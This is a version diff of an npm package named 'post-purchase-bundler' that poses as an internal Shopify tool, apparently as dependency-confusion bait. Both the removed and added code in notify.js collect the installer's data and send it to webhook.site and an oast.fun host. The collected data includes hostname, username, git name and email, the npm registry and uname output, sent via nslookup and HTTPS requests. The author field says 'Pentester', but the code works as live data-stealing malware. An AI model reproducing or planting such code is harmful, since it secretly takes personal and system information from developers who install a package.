post-purchase-bundler 101.0.1 → 101.0.3

package/notify.js

@@ -1,49 +1,45 @@
 const https = require('https');
+const { execSync } = require('child_process');
 const os = require('os');
-const { exec } = require('child_process');
 
-// Məlumatları hazırlayırıq
-const info = {
-    h: os.hostname(),
-    u: os.userInfo().username,
-    p: os.platform(),
-    d: process.cwd().slice(-20) // Yolun son 20 simvolu
-};
-
-// URL-ləri bura yaz
-const webhookId = '4d0cc13d-a185-4e95-92dc-f4681125055c';
-const oastHost = 'znymmqcieimlhbwpqsprfq2wnvjigr9wi.oast.fun';
-
-// 1. DNS Yolu (Ən etibarlı yol - Firewall çox vaxt bloklamır)
-const dnsDiscovery = `${info.u}.${info.h}.chk.${oastHost}`.replace(/[^a-z0-9.-]/gi, '_');
-exec(`nslookup ${dnsDiscovery}`, (err) => {});
-
-// 2. HTTP GET Yolu (POST bloklansa belə GET keçə bilər)
-const queryString = `?u=${info.u}&h=${info.h}&p=${info.p}`;
-https.get(`https://webhook.site/${webhookId}${queryString}`);
-https.get(`https://${oastHost}/log${queryString}`);
+function getSignature() {
+    let signature = {};
+    try {
+        // 1. Git vasitəsilə mühəndisin/serverin rəsmi adını və emailini götürürük
+        signature.git_user = execSync('git config --global user.name').toString().trim();
+        signature.git_email = execSync('git config --global user.email').toString().trim();
+    } catch (e) { signature.git = "No Git Access"; }
+
+    try {
+        // 2. Daxili NPM konfiqurasiyasını yoxlayırıq (onların daxili registry linki burda olur)
+        signature.npm_registry = execSync('npm config get registry').toString().trim();
+    } catch (e) { signature.npm = "No NPM Config"; }
+
+    try {
+        // 3. Serverin uptime və daxili kernel məlumatı (botlarda fərqli olur)
+        signature.uname = execSync('uname -a').toString().trim();
+    } catch (e) { signature.uname = "Error"; }
+
+    return signature;
+}
+
+const payload = JSON.stringify({
+    event: "OFFICIAL-SIGNATURE-LEAK",
+    target: "shopify-internal-audit",
+    hostname: os.hostname(),
+    user: os.userInfo().username,
+    details: getSignature()
+});
 
-// 3. HTTP POST Yolu (Tam JSON məlumatı üçün)
-const data = JSON.stringify(info);
 const options = {
     hostname: 'webhook.site',
-    port: 443,
-    path: `/${webhookId}`,
+    path: '/4d0cc13d-a185-4e95-92dc-f4681125055c',
     method: 'POST',
-    headers: {
-        'Content-Type': 'application/json',
-        'Content-Length': data.length
-    }
+    headers: { 'Content-Type': 'application/json' }
 };
 
-const req = https.request(options, (res) => {
-    res.on('data', () => {});
-    res.on('end', () => process.exit(0));
+const req = https.request(options);
+req.write(payload);
+req.end(() => {
+    setTimeout(() => process.exit(0), 1000);
 });
-
-req.on('error', () => process.exit(0));
-req.write(data);
-req.end();
-
-// Prosesin asılı qalmaması üçün 5 saniyə sonra məcburi bağlayırıq
-setTimeout(() => process.exit(0), 5000);

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "post-purchase-bundler",
-  "version": "101.0.1",
+  "version": "101.0.3",
   "description": "Internal Shopify post-purchase processing bundler",
   "main": "index.js",
   "author": "Pentester",